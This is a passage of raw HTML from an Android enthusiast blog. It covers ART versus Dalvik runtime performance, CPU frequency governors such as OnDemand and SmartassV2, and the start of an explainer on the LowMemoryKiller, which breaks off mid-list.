<span style="background-color: black; color: cyan;"><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Summary And Conclusions</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">The numbers and the videos together paint a picture of where ART stands today. It will definitely make a difference, but its current incarnation just hasn't matured enough to deliver significant gains. Floating-point calculations and basic responsiveness are obviously reaping the benefits of the new runtime, but that's about it. There's little or no overall improvement for integer calculations, most regular code execution, or much of anything else. In fact, it looks like gamers would be better served by sticking to Dalvik, for now.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Why aren't the benchmarks blowing us away? If I were to make a guess, it's probably because the first goal in developing ART was to make sure it was functional and stable before the heavy optimizations came into effect. If that's the case, there is probably quite a bit of code for error-checking and logging just to ensure everything is operating as it should, which might even be responsible for more overhead than we had with Dalvik. Even in the places where ART doesn't outperform Dalvik, the numbers tend to remain reasonably close. As subsequent versions of the runtime emerge from Mountain View, we should expect to see the performance gap growing wider as ART pulls ahead.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Now for the real question: is it worth switching to ART right now? Google obviously isn't recommending it for regular users, and I tend to agree. While ART seems very solid and I feel like responsiveness is better - possibly just the placebo effect - there are still circumstances where it is unstable and causes apps to crash. If there is even a single instance where you have to switch back to Dalvik to get an app to run correctly, that inconvenience far outweighs the minimal performance gain you might have had. Once I've finished this series, I will probably stick to Dalvik for the remainder of KitKat; and I imagine most people will be better served by doing the same.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Introducing ART from: source.android.com</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">ART is a new Android runtime being introduced experimentally in the 4.4 release. This is a preview of work in progress in KitKat that can be turned on in Settings > developer options. This is available for the purpose of obtaining early developer and partner feedback.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Important: Dalvik must remain the default runtime or you risk breaking your Android implementations and third-party applications.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Two runtimes are now available, the existing Dalvik runtime (libdvm.so) and the ART (libart.so). A device can be built using either or both. (You can dual boot from Developer options if both are installed.)</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">The dalvikvm command line tool can run with either of them now. See runtime_common.mk. That is included from build/target/product/runtime_libdvm.mk or build/target/product/runtime_libdvm.mk or both.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">A new PRODUCT_RUNTIMES variable controls which runtimes are included in a build. Include it within either build/target/product/core_minimal.mk or build/target/product/core_base.mk.</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">Add this to the device makefile to have both runtimes built and installed, with Dalvik as the default:</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">PRODUCT_RUNTIMES := runtime_libdvm_default</span><br style="border-color: rgb(41, 41, 41) !important; font-family: Roboto; font-size: 13px; outline: none !important;" /><span style="font-family: Roboto; font-size: 13px;">PRODUCT_RUNTIMES += runtime_libart</span></span></div>
<div>
<span style="background-color: black; color: cyan;"><span style="font-family: Roboto; font-size: 13px;"><br /></span></span></div>
<div>
<span style="background-color: #eeeeee;"> </span></div>
<div>
<span style="background-color: #eeeeee;"> </span><span style="background-color: #222222; font-family: Roboto; font-size: 13px;"><span style="color: cyan;">MANY GREEEETZ+STAY ADDICTED!!!!</span></span></div>
<div>
<span style="background-color: #eeeeee;"> </span><span style="background-color: black;"><span style="color: cyan;"> -CALIBAN666-</span></span></div>
<div>
<span style="background-color: #eeeeee;"><br /></span></div>
<div>
<span style="background-color: #eeeeee;"><br /></span></div>
-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-27870014076084672182013-11-17T23:40:00.002+01:002013-11-17T23:40:48.021+01:00Know more about your Android CPU <h3>
<span style="background-color: black; color: cyan;">CPU behaviour and its effects on device’s Performance along with its Battery</span></h3>
<div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;">Everyone is on the hunt for the right balance between the performance and battery of their devices. Everyone wants that their device should run games without any lags and also their device should be able to deliver a good battery backup. But finding this balance takes much more than simply entering power saving mode or reducing the brightness.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;">As you can guess from the title, this article will focus on the CPU behaviour and how it affects the performance and battery life of your device. So I will start off with this:</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="background-color: black; color: cyan;">What is a CPU?</span></strong></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;">A CPU(central processing unit) processes instructions that it gathers from decoding the code in programs and other such files. It has a clock which produces a signal that acts to synchronize the logic units within the CPU as they execute the instructions given in a program. So, the speed at which a CPU processes instructions depends upon the clock speed of the CPU itself.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;">And now I will relate the above definition to the way the CPU behaviour affects the battery backup and the device’s performance.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;">Like said earlier, the CPU processes and executes instructions given in a program and the speed with which it processes these instructions would influence the speed with which the program is run. Now to clarify this in relevant terms , the ability of your device to run a program smoothly to its best potential will depend on the speed with which the CPU processes the program’s instructions which implies that it will depend on the clock speed of the CPU. This clock speed is measured in frequencies(Hertz). <strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">Thus, the CPU Clock speed refers to the number of times that a CPU’s clock cycles per second.</em> </strong>So we would want to have a high operating frequency for our CPU. But now the battery makes an entry. To run the clock at such high frequencies, the device makes use of the battery power. More the frequency, more the battery is used. <em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">So the bottom line is that for good performance you need a higher operating frequency of the CPU but for that equally higher amount of power is used.</strong></em></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijo-8n08UZ0i1WNwNfP5dNuML3CxUmrdTsFxcOTWqe1As-lf8A_ItV4XfMdox6fZVJTEIQ97Mafyny9QpQHhMsoUckXaCNTtKV_MgoENtJYpau6Z85BjV9-cMbWAEffI4ncS9xQNMtsLQ/s1600/url-300x194.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijo-8n08UZ0i1WNwNfP5dNuML3CxUmrdTsFxcOTWqe1As-lf8A_ItV4XfMdox6fZVJTEIQ97Mafyny9QpQHhMsoUckXaCNTtKV_MgoENtJYpau6Z85BjV9-cMbWAEffI4ncS9xQNMtsLQ/s1600/url-300x194.jpg" /></a></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;"><em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><br /></strong></em></span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;">Now this brings us to CPU</span><strong style="border: 0px; color: cyan; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"> Governors. </strong><span style="background-color: black; color: cyan;">A governor is a set of commands/instructions which governs the behaviour of the CPU according to different situations. It dictates the CPU to operate at different frequencies depending on the demand. There are many governors which are included in custom kernels. The stock kernel includes the</span><span style="background-color: black; color: cyan;"> </span><strong style="border: 0px; color: cyan; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">OnDemand, PowerSave, Performance and Conservative</strong><span style="background-color: black; color: cyan;"> </span><strong style="border: 0px; color: cyan; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">Governors</strong><span style="background-color: black; color: cyan;">. In this article , i will be explaining about these along with the</span><strong style="border: 0px; color: cyan; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"> SmartassV2 and UserSpace</strong><span style="background-color: black; color: cyan;"> </span><span style="background-color: black; color: cyan;">Governors.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">1. <span style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline; zoom: 1;">OnDemand</span> - </strong>You must have seen this as the first governor as it used as default in stock. As its name suggests, it changes the CPU frequency according to the demand of the system. It switches to the Maximum CPU frequency as soon as it detects that there is load on the CPU and then decreases the frequency gradually when the load is less. By all of this, you might think that OnDemand is a pretty reliable governor for the balance between Performance and battery but actually it is not. The frequency change between maximum and minimum is too frequent for the balance. It calculates the requirement to change the frequency to maximum. This requirement can respond quickly to the workload change, but it does not usually reflect workload real CPU usage requirement. But nevertheless, it is the best stock Governor when it comes to finding the right balance.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">2. <span style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline; zoom: 1;">PowerSave</span> - </strong> A stock kernel made to preserve power. This is pretty straightforward one along with the Performance Governor. It fixes the maximum frequency equal to the minimum frequency of the CPU and always operates in this frequency. This way , the least amount of power is used but the performance is the poorest.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black;"><span style="color: cyan;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">3. <span style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline; zoom: 1;">Performance</span>- </strong>Straightforward again like PowerSave. It fixes the minimum frequency equal to the maximum frequency such that the CPU always operates at the the highest frequency giving the best performance possible within the stock limits but it uses the power at the highest rate as well</span><span style="color: #555555;">.</span></span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">4. <span style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline; zoom: 1;">Conservative</span> - </strong>It is similar to the OnDemand Governor but is specifically developed to conserve power. It does the operate the same as OnDemand which is changing the frequency based upon the CPU usage but it does this gradually than OnDemand. This means, it does not jump to its next target frequency but instead it moves to its target in steps.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: cyan;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">5. SmartassV2 - </strong>I not only like its name but this is also my favourite for the balance between performance and battery. It is based on the stock OnDemand but it much more performance and battery friendly than OnDemand. It has the system of ‘Ideal Frequency’. Whenever there is Workload on the CPU, SmartassV2 increases the frequency upto this ideal frequency at a fast rate and then it goes slowly to the maximum frequency. Then when there is less workload, it rapidly scales down.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black;"><span style="color: cyan;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">6.<span style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; text-decoration: underline; vertical-align: baseline; zoom: 1;"> UserSpace</span> - </strong>It gives the user the right to set the frequencies at different situations according to the requirement.</span><span style="color: #555555;"> </span><span style="color: #3d85c6;">AND MANY MORE PROViDED HERE A FIEW POSTS BELOW</span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmmERR6-n65lRNwGbngit2qWVJKx8aTJJHH4_pVpzPwzblUN2FwaUeVEEnbL8WmAJMaWxrWowd7COF-GHfO7roH40P-cYcY1C-NsD0rlyvBXvdB9ighVBCueMrWE5VthW05gNCf2gRK4w/s1600/frame2-154x300.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmmERR6-n65lRNwGbngit2qWVJKx8aTJJHH4_pVpzPwzblUN2FwaUeVEEnbL8WmAJMaWxrWowd7COF-GHfO7roH40P-cYcY1C-NsD0rlyvBXvdB9ighVBCueMrWE5VthW05gNCf2gRK4w/s1600/frame2-154x300.png" /></a></div>
<div style="border: 0px; color: #555555; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<em style="border: 0px; color: cyan; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><br /></em></div>
<div style="border: 0px; color: #555555; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<em style="border: 0px; color: cyan; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">There are many more custom Governors available with custom Kernels but I think these should give you the basic idea of the Affect of CPU behaviour on Performance and battery both. So now go ahead, download a CPU control app like SetCPU or NoFrills</em><span style="border: 0px; color: cyan; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"> </span><span style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">and start finding the apt combinations for your Usage and requirements. You can use Performance Governor in Heavy-demanding games and PowerSave when not using any demanding applications. Or you can use SmartassV2 to handle both of these situations with a decent efficiency. All the best for your hunt!</span></span></em></span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="border: 0px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><em style="border: 0px; font-family: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="background-color: black; border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="border: 0px; color: black; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"> </span><span style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="color: red;">STAY ADDICTED -CALIBAN666-</span></span></span></em></span></div>
</div>
-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-61051794157730812852013-11-17T23:18:00.002+01:002013-11-17T23:18:59.954+01:00(About)Android Memory Management <h3>
<span style="background-color: black;"><span style="color: cyan;">Android Memory Management</span> </span></h3>
<div>
<span style="background-color: black; color: cyan; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;">Most of you must be knowing what Multi-tasking is all about. But this lil overview will take you inside the mechanics of Multi-tasking and give you a closer look. Lets start off with a basic definition :</span></div>
<div>
<span style="background-color: black; color: #555555; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><br /></span></div>
<div>
<span style="background-color: black; border: 0px; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="color: cyan;">Multi-tasking is the ability to run various programs/applications simultaneously in such a way that the user can switch between these programs/applications at will without any of the processes being killed.</span></span></div>
<div>
<span style="background-color: black; border: 0px; color: #555555; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><br /></span></div>
<div>
<span style="border: 0px; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="background-color: black; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><span style="color: cyan;">You all must have heard that different devices have different multi-tasking abilities. And sometimes, even different devices of same models have different multi-tasking abilities. Ever wondered why? Well this is simply because multi-tasking is directly related to the RAM of the device. Its depends on the amount of RAM ,RAM usage as well as RAM usage management.</span></span></span></div>
<div>
<span style="border: 0px; color: #555555; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="background-color: black; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><br /></span></span></div>
<div>
<span style="background-color: black; border: 0px; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="color: cyan;"><span style="font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;">Since Android is a Linux system, it has an in-built task killer named as </span><strong style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">LowMemoryKiller(LMK)</strong><span style="font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;">. The LMK keeps an eye on the RAM usage of all applications in real-time, and when the system has too much RAM consumption, the LMK will start killing apps to free-up some memory. But the way it does that is defined through different sets of groupings and values but in common terms , you might call these priorities, just the difference that these priorities are more than simple order.</span></span></span></div>
<div>
<span style="border: 0px; color: #555555; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="background-color: black; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><br /></span></span></div>
<div>
<span style="border: 0px; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="color: cyan;"><span style="background-color: black; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;">The </span><strong style="background-color: black; border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">LMK </strong><span style="font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><span style="background-color: black;">distinguishes apps by putting them under categories. Which app will get killed first depends upon the category in which it falls in and the minimum memory threshold of that category. Confused? Let me describe it with the below.</span></span></span></span></div>
<div>
<span style="color: cyan; font-family: Open Sans, sans-serif;"><span style="font-size: 15px; line-height: 22.3125px;"><br /></span></span></div>
<div>
<span style="color: cyan; font-family: Open Sans, sans-serif;"><span style="font-size: 15px; line-height: 22.3125px;"><br /></span></span><span style="border: 0px; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="color: cyan;"><span style="font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><span style="background-color: black;"><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWwxJA2FYrQ2XBCMwEutKVBcPUf5KJwRblo1KmieqmKvfVPzJXgLCYMBH0CtSZfGRlwrwlTRIj1JVIBh7AkSpSsqy-9ZoX2HBcphD-nukbTlDw6F1WrwpLvaDi_jBtuKYUGLrTeZS1Ot4/s1600/lmk1-300x300.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWwxJA2FYrQ2XBCMwEutKVBcPUf5KJwRblo1KmieqmKvfVPzJXgLCYMBH0CtSZfGRlwrwlTRIj1JVIBh7AkSpSsqy-9ZoX2HBcphD-nukbTlDw6F1WrwpLvaDi_jBtuKYUGLrTeZS1Ot4/s1600/lmk1-300x300.png" /></a></div>
<div>
<span style="border: 0px; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="color: cyan;"><span style="font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><span style="background-color: black;"><br /></span></span></span></span></div>
<div>
<span style="border: 0px; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="color: cyan;"><span style="font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><span style="background-color: black;"><br /></span></span></span></span></div>
<div>
<span style="border: 0px; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="color: cyan;"><span style="font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><span style="background-color: black;"><br /></span></span></span></span></div>
.</span></span></span></span><span style="background-color: black; color: cyan; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;">Suppose there are m apps which are being run, The LMK divides all the apps into 6 categories </span><strong style="background-color: black; border: 0px; color: cyan; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">(Out of memory groupings). </strong><span style="background-color: black; color: cyan; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;">These have been explained briefly with their decreasing priority</span></div>
<div>
<span style="border: 0px; color: #555555; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><span style="background-color: black; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px;"><br /></span></span></div>
<div>
<span style="border: 0px; font-family: Georgia, 'Bitstream Charter', serif; font-size: 18px; line-height: 28.796875px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;"><div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: red;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">1. Foreground Application - </strong>An app that you currently see on the screen. This also includes system and phone.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: red;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">2.Visible Application </strong>- An app that is visible to the user but not at the front possibly because of transparency etc.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: red;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">3. Secondary Server</strong> - These are applications and services running in the background, it includes launcher, UI etc.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: red;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">4. Hidden Application -</strong> Apps that are not visible but are still running in the background.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
<span style="background-color: black; color: red;"><strong style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">5. Content Provider – </strong>Processes that provide content for others, examples – Contacts, calender etc.</span></div>
<div style="border: 0px; font-family: 'Open Sans', sans-serif; font-size: 15px; line-height: 22.3125px; margin-bottom: 1.625em; outline: 0px; padding: 0px; vertical-align: baseline; zoom: 1;">
